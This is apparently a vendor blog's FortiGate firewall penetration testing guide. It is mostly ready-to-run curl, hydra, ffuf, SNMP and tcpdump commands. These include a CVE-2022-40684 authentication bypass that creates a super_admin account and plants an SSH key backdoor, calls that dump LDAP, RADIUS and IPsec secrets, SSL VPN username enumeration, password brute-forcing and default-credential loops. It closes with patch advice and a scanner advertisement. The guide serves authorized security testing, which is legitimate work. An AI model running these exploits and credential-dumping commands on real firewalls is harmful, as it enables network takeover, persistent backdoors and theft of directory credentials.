Fortinet FortiGate is one of the most widely deployed next-generation firewalls globally. When CVE-2022-40684 dropped — an authentication bypass allowing unauthenticated admin access via crafted HTTP requests — CISA issued an emergency directive within days. FortiGate devices are a high-value target: they control network perimeters, terminate VPN tunnels, and often hold credentials for AD integration. This guide covers authorized FortiGate penetration testing methodology for red teams and enterprise security teams.
FortiGate runs FortiOS, a Linux-based network operating system. From a penetration testing perspective, the key attack surfaces are:
/api/v2/ endpoints; uses API keys or session tokens| Interface | Default Port | Auth Mechanism | Attack Surface |
|---|---|---|---|
| HTTPS Management GUI | 443 or 8443 | Username/password, certificates | CVE-2022-40684, brute force, session theft |
| SSH CLI | 22 | Password or SSH key | Brute force, key exposure |
| SSL VPN Portal | 443 or 10443 | LDAP, RADIUS, local users | CVE-2023-27997, credential harvesting |
| REST API | 443 | API keys, session cookies | Token theft, unauthorized enumeration |
| SNMP | UDP/161 | Community strings | Default community (public), MIB enumeration |
| FortiManager (FGFM) | TCP/541 | Certificate-based | Device registration abuse |
FortiOS version detection is critical for accurate CVE mapping. Several endpoints expose version information without full authentication.
# Management interface login page
curl -sk https://TARGET/ | grep -i "fortigate\|fortinet\|fortios\|version"
# SSL VPN portal (port 443 or 10443)
curl -sk https://TARGET/remote/login | grep -i "forti\|version"
# FortiOS login page typically returns a build number
curl -sk https://TARGET/login | grep -oP '"version":"[^"]+"|"build":"[^"]+"' | head -5
# Check X-Frame-Options and Server headers for disclosure
curl -skI https://TARGET/ | grep -i "server\|x-\|fortin"
# The /remote/fgt_lang endpoint reveals product info without auth
curl -sk https://TARGET/remote/fgt_lang?lang=en | head -20
# Basic service detection
nmap -sV -p 22,443,541,10443 TARGET
# NSE scripts for FortiGate
nmap --script=ssl-cert,http-title -p 443,10443 TARGET
# Certificate CN often reveals hostname like FGT60E-CORP
# SSL certificate org may show "Fortinet"
# Detect FGFM management port
nmap -sV -p 541 TARGET
# Shodan dorks for FortiGate
# http.html:"FortiGate" port:443
# http.title:"SSL VPN" "Fortinet" country:NL
# ssl.cert.subject.cn:"FortiGate" OR "FGT"
# product:"Fortinet FortiOS httpsd"
# FortiGate login pages often include "FortiGate" in title or body
# Some expose /api/v2/monitor/system/firmware without auth
# Pre-auth version disclosure (varies by FortiOS version)
curl -sk https://TARGET/api/v2/monitor/system/firmware
# Response example:
# {"http_method":"GET","results":{"current":{"version":"v7.2.3","build":1262,...}}}
# Also check /api/v2/monitor/system/status (may require auth)
curl -sk -H "Authorization: Bearer YOURTOKEN" \
https://TARGET/api/v2/monitor/system/status
CVE-2022-40684 (CVSS 9.8) is a critical authentication bypass in FortiOS, FortiProxy, and FortiSwitchManager. It affects FortiOS 7.2.0–7.2.1, 7.0.0–7.0.6, and FortiProxy 7.2.0 and 7.0.0–7.0.6. The flaw lies in the alternate path authentication logic — an attacker can send crafted HTTP/HTTPS requests with a spoofed Forwarded header, causing FortiGate to authenticate the request as if it came from a trusted Fortinet device management address.
FortiOS trusts requests that appear to originate from 127.0.0.1 or Fortinet-specific management sources when the Forwarded header is set to by="[127.0.0.1]";for="[127.0.0.1]". The authentication check bypasses normal credential validation for these "trusted" source addresses.
# Check if target is vulnerable (patch check — confirmed vulnerable produces admin user list)
curl -sk -X GET "https://TARGET/api/v2/cmdb/system/admin" \
-H "User-Agent: Report Runner" \
-H "Forwarded: by=\"[127.0.0.1]\";for=\"[127.0.0.1]\""
# Successful response reveals admin accounts:
# {"http_method":"GET","revision":"...","results":[{"name":"admin","type":"password",...}]}
# Add a new admin user via CVE-2022-40684 (authorized testing only)
curl -sk -X POST "https://TARGET/api/v2/cmdb/system/admin" \
-H "User-Agent: Report Runner" \
-H "Forwarded: by=\"[127.0.0.1]\";for=\"[127.0.0.1]\"" \
-H "Content-Type: application/json" \
-d '{
"name": "pentest-user",
"password": "Pentest2026!",
"accprofile": "super_admin",
"vdom": [{"name": "root"}]
}'
# Modify existing admin SSH public key (backdoor via authorized key)
curl -sk -X PUT "https://TARGET/api/v2/cmdb/system/admin/admin" \
-H "User-Agent: Report Runner" \
-H "Forwarded: by=\"[127.0.0.1]\";for=\"[127.0.0.1]\"" \
-H "Content-Type: application/json" \
-d '{"ssh-public-key1": "ssh-rsa AAAA... pentest@ironimo"}'
# List all VPN users and their configuration
curl -sk -H "Authorization: Bearer YOUR-API-TOKEN" \
"https://TARGET/api/v2/cmdb/vpn.ssl/settings"
# Retrieve LDAP server configuration (exposes bind credentials)
curl -sk -H "Authorization: Bearer YOUR-API-TOKEN" \
"https://TARGET/api/v2/cmdb/user/ldap"
# Dump local user database
curl -sk -H "Authorization: Bearer YOUR-API-TOKEN" \
"https://TARGET/api/v2/cmdb/user/local"
# Export full firewall policy
curl -sk -H "Authorization: Bearer YOUR-API-TOKEN" \
"https://TARGET/api/v2/cmdb/firewall/policy"
# Retrieve RADIUS server configuration
curl -sk -H "Authorization: Bearer YOUR-API-TOKEN" \
"https://TARGET/api/v2/cmdb/user/radius"
CVE-2023-27997 (CVSS 9.8, "XORtigate") is a heap-based buffer overflow in FortiOS SSL VPN. It affects FortiOS 6.0.x–6.0.16, 6.2.x–6.2.14, 6.4.x–6.4.12, 7.0.x–7.0.10, and 7.2.x–7.2.3. The vulnerability is in the SSL VPN pre-authentication code path, meaning it can be triggered without valid credentials. Successful exploitation leads to arbitrary code execution as root on the FortiGate.
# Check SSL VPN is enabled and accessible
curl -sk https://TARGET/remote/login -I | head -10
# Port scan for SSL VPN (commonly on 443 or 10443)
nmap -sV -p 443,10443 TARGET
# Version check — if version is in affected range, flag for CVE-2023-27997
# Affected: FortiOS 7.2.0-7.2.3, 7.0.0-7.0.10, 6.4.0-6.4.12, 6.2.x, 6.0.x
# The SSL VPN login page fingerprint
curl -sk https://TARGET/remote/login | grep -i "version\|build"
# Shodan search for exposed SSL VPN portals
# http.title:"SSL VPN" fortinet
# Public PoC repositories exist for CVE-2023-27997
# Do NOT run against production systems — this is a memory corruption vulnerability
# Check if the target responds to the vulnerable endpoint pattern
curl -sk -X POST "https://TARGET/remote/hostcheck_validate" \
--data-binary $'\x00\x00\x00\x00' -o /dev/null -w "%{http_code}"
# A 200 response indicates the endpoint exists; actual exploitation
# requires the public PoC tooling and a controlled lab environment
# Alternative: verify patched status via firmware version API
curl -sk https://TARGET/api/v2/monitor/system/firmware \
-H "Authorization: Bearer YOURTOKEN" | jq '.results.current.version'
FortiGate SSL VPN portals are a frequent target due to their internet-facing nature and integration with Active Directory.
# FortiGate SSL VPN user enumeration via login response timing
# Valid users typically return a different response code or timing
curl -sk -X POST https://TARGET/remote/logincheck \
-d "username=admin&credential=wrongpassword&realm=&ajax=1"
# The response code 1 indicates wrong password (user exists)
# Response code 5 indicates account lockout
# Response code 3 may indicate user doesn't exist (varies by config)
# Mass enumeration with ffuf
ffuf -u "https://TARGET/remote/logincheck" \
-X POST \
-d "username=FUZZ&credential=wrongpass&realm=&ajax=1" \
-w /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
-H "Content-Type: application/x-www-form-urlencoded" \
-fr "Username or password is not correct"
# Hydra against FortiGate SSL VPN
hydra -L users.txt -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt \
TARGET https-post-form \
"/remote/logincheck:username=^USER^&credential=^PASS^&realm=&ajax=1:S=redir"
# Note: FortiGate typically enforces lockout after 3-5 failed attempts
# Check lockout policy first: /api/v2/cmdb/user/setting
# Two-factor bypass testing: check if SMS/token is required before or after password
curl -sk -X POST https://TARGET/remote/logincheck \
-d "username=VALIDUSER&credential=VALIDPASS&realm=&ajax=1"
# If response contains "two_factor" - 2FA is required next step
# Check for session cookie security flags
curl -sk -X POST https://TARGET/remote/logincheck \
-d "username=USER&credential=PASS&realm=&ajax=1" \
-c cookies.txt -v 2>&1 | grep -i "set-cookie"
# FortiGate sets SVPNCOOKIE - check for:
# HttpOnly flag (should be present)
# Secure flag (should be present)
# SameSite attribute (should be Strict or Lax)
# Session fixation test
# Pre-set a session cookie and check if server accepts it
curl -sk -X POST https://TARGET/remote/logincheck \
-H "Cookie: SVPNCOOKIE=FIXEDVALUE" \
-d "username=USER&credential=PASS&realm=&ajax=1"
The FortiOS REST API at /api/v2/ exposes comprehensive management functionality. Once authenticated (or if CVE-2022-40684 is exploitable), the API reveals the full device configuration.
# Generate API token via GUI: System > Admin > API Key
# Or via CLI: config system api-user, edit apiuser, set accprofile super_admin
# Test API access with token
curl -sk -H "Authorization: Bearer YOUR-API-TOKEN" \
https://TARGET/api/v2/monitor/system/status | jq '.'
# Session-based auth (login first, use cookie)
curl -sk -X POST https://TARGET/logincheck \
-d "username=admin&secretkey=PASSWORD&ajax=1" \
-c session.txt
curl -sk -b session.txt https://TARGET/api/v2/monitor/system/status
# System information
curl -sk -H "Authorization: Bearer TOKEN" \
https://TARGET/api/v2/monitor/system/status
# All admin accounts
curl -sk -H "Authorization: Bearer TOKEN" \
https://TARGET/api/v2/cmdb/system/admin
# LDAP server configuration (exposes bind DN and password)
curl -sk -H "Authorization: Bearer TOKEN" \
https://TARGET/api/v2/cmdb/user/ldap | jq '.results[] | {name, server, dn, password}'
# RADIUS server config
curl -sk -H "Authorization: Bearer TOKEN" \
https://TARGET/api/v2/cmdb/user/radius | jq '.results[] | {name, server, secret}'
# VPN SSL settings (shows auth servers, portals)
curl -sk -H "Authorization: Bearer TOKEN" \
https://TARGET/api/v2/cmdb/vpn.ssl/settings
# IPsec VPN phase1 (may expose PSK)
curl -sk -H "Authorization: Bearer TOKEN" \
https://TARGET/api/v2/cmdb/vpn.ipsec/phase1-interface | jq '.results[] | {name, psksecret}'
# BGP/routing configuration
curl -sk -H "Authorization: Bearer TOKEN" \
https://TARGET/api/v2/cmdb/router/bgp
# SD-WAN configuration
curl -sk -H "Authorization: Bearer TOKEN" \
https://TARGET/api/v2/cmdb/system/sdwan
# These endpoints sometimes respond without auth on older FortiOS versions
curl -sk https://TARGET/api/v2/monitor/system/firmware
curl -sk https://TARGET/api/v2/monitor/system/available-interfaces
curl -sk https://TARGET/api/v2/monitor/vpn/ssl
# Check for debug information exposure
curl -sk https://TARGET/api/v2/license/forticare
curl -sk https://TARGET/api/v2/monitor/license/status
Multiple paths lead to FortiGate admin credential exposure beyond the CVEs above.
# FortiGate factory defaults
# Username: admin
# Password: (empty string) — no password on factory reset
# Test default credentials
curl -sk -X POST https://TARGET/logincheck \
-d "username=admin&secretkey=&ajax=1" \
-I | grep -i "location\|set-cookie"
# Some older models had password = serial number
# Serial visible on physical device or via SNMP
# Common weak passwords deployed in SMB environments
for pass in "admin" "fortinet" "fortigate" "password" "Fortigate1" "Admin@123"; do
result=$(curl -sk -X POST https://TARGET/logincheck \
-d "username=admin&secretkey=${pass}&ajax=1" | grep -c "redir")
echo "admin:${pass} -> ${result}"
sleep 1
done
# FortiGate config backups (.conf files) contain ENC-encrypted passwords
# ENC passwords use a device-specific key but can often be decrypted
# Example encrypted password in config:
# set password ENC SH2LnW5jCk1cL/VGsTk7mX3HsV=
# FortiGate config is saved as plain text with some fields "ENC" encrypted
# The encryption is reversible if you know the encryption key
# Tool: fortidecrypt (community tool for authorized testing)
# If you have a config backup:
grep -E "password ENC|passwd ENC|psk ENC" fortigate-backup.conf
# Some credentials in configs are stored in plain text
grep -E "password [^E]|passwd [^E]|secret [^E]" fortigate-backup.conf
# FortiGate exposes MIB data via SNMP including system info
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt TARGET
# If community found, enumerate system info
snmpwalk -v2c -c COMMUNITY TARGET system
snmpwalk -v2c -c COMMUNITY TARGET interfaces
snmpwalk -v2c -c COMMUNITY TARGET .1.3.6.1.4.1.12356 # Fortinet MIB
# Fortinet-specific MIB for FortiGate
# Download from: https://support.fortinet.com/Download/FirmwareImages.aspx
snmpbulkwalk -v2c -c COMMUNITY -Cn0 -Cr10 TARGET .1.3.6.1.4.1.12356.101
Full FortiGate configuration extraction reveals firewall policies, routing, VPN settings, and integrated service credentials.
# Download full configuration backup (requires admin access)
curl -sk -H "Authorization: Bearer TOKEN" \
"https://TARGET/api/v2/monitor/system/config/backup?destination=file" \
-o fortigate-backup.conf
# The config file is plain text — parse for sensitive data
grep -E "password|secret|psk|key" fortigate-backup.conf | grep -v "^\s*#"
# Extract LDAP credentials
grep -A 20 "config user ldap" fortigate-backup.conf | grep -E "server|dn|password|username"
# Extract RADIUS secrets
grep -A 10 "config user radius" fortigate-backup.conf | grep -E "server|secret"
# Extract IPsec PSKs
grep -A 20 "config vpn ipsec phase1" fortigate-backup.conf | grep "psksecret"
# Export all firewall policies
curl -sk -H "Authorization: Bearer TOKEN" \
"https://TARGET/api/v2/cmdb/firewall/policy?format=json" | jq \
'.results[] | {policyid, name, srcaddr: .srcaddr[].name, dstaddr: .dstaddr[].name, service: .service[].name, action}'
# Check for "any-to-any" policies (overly permissive)
curl -sk -H "Authorization: Bearer TOKEN" \
"https://TARGET/api/v2/cmdb/firewall/policy" | jq \
'.results[] | select(.srcaddr[].name == "all" and .dstaddr[].name == "all") | {policyid, name, action}'
# Network address objects
curl -sk -H "Authorization: Bearer TOKEN" \
"https://TARGET/api/v2/cmdb/firewall/address"
FortiGate integrates with Active Directory for SSL VPN and management authentication. This creates credential exposure risks.
# Via API (requires admin access)
curl -sk -H "Authorization: Bearer TOKEN" \
"https://TARGET/api/v2/cmdb/user/ldap" | jq \
'.results[] | {name, server, port, cnid, dn, "bind-dn": .["bind-dn"], password}'
# The bind-dn user often has broad AD read access
# The password is stored in the FortiGate config
# Test LDAP connectivity and credentials
ldapsearch -x -H ldap://LDAP-SERVER \
-D "cn=fortigate-bind,dc=corp,dc=local" \
-w "EXTRACTED-PASSWORD" \
-b "dc=corp,dc=local" "(objectClass=user)" sAMAccountName | head -50
# If bind user has sufficient privileges, enumerate AD users
ldapsearch -x -H ldap://LDAP-SERVER \
-D "cn=fortigate-bind,dc=corp,dc=local" \
-w "EXTRACTED-PASSWORD" \
-b "dc=corp,dc=local" \
"(&(objectClass=user)(memberOf=CN=VPN-Users,OU=Groups,DC=corp,DC=local))" \
sAMAccountName mail
# Capture SSL VPN session tokens if on the same network segment
# FortiGate SVPNCOOKIE is the session identifier
# Monitor for cleartext RADIUS authentication (if RADIUS is not using TLS)
tcpdump -i eth0 -n port 1812 -w radius-capture.pcap
# Parse RADIUS packets for authentication data
tshark -r radius-capture.pcap -Y "radius" -T fields \
-e radius.User-Name \
-e radius.User-Password
# Note: RADIUS User-Password is XOR-encrypted with the shared secret
# If you have the RADIUS shared secret, decrypt with:
# radtest USERNAME PASSWORD RADIUS-SERVER 0 SHAREDSECRET
| CVE | CVSS | Fix Version | Priority |
|---|---|---|---|
| CVE-2022-40684 | 9.8 | FortiOS 7.2.2+, 7.0.7+, 6.4.x (backport) | Critical — patch immediately |
| CVE-2023-27997 | 9.8 | FortiOS 7.2.4+, 7.0.11+, 6.4.13+ | Critical — patch immediately |
| CVE-2022-42475 | 9.3 | FortiOS 7.2.3+, 7.0.9+ | Critical — SSL VPN RCE |
| CVE-2024-21762 | 9.6 | FortiOS 7.4.3+, 7.2.7+ | Critical — out-of-bounds write |
config system interface, set allowaccess to limit to specific subnetsconfig vpn ssl settings, set status disableadmin account and create named admin accountsconfig system global, set admin-sport 8443, end and apply an admin trusted host restriction.
Ironimo's Kali Linux-powered scanner detects FortiGate misconfigurations, exposed management interfaces, and version-based CVE exposure. Get a complete picture of your network perimeter security posture.
Start free scan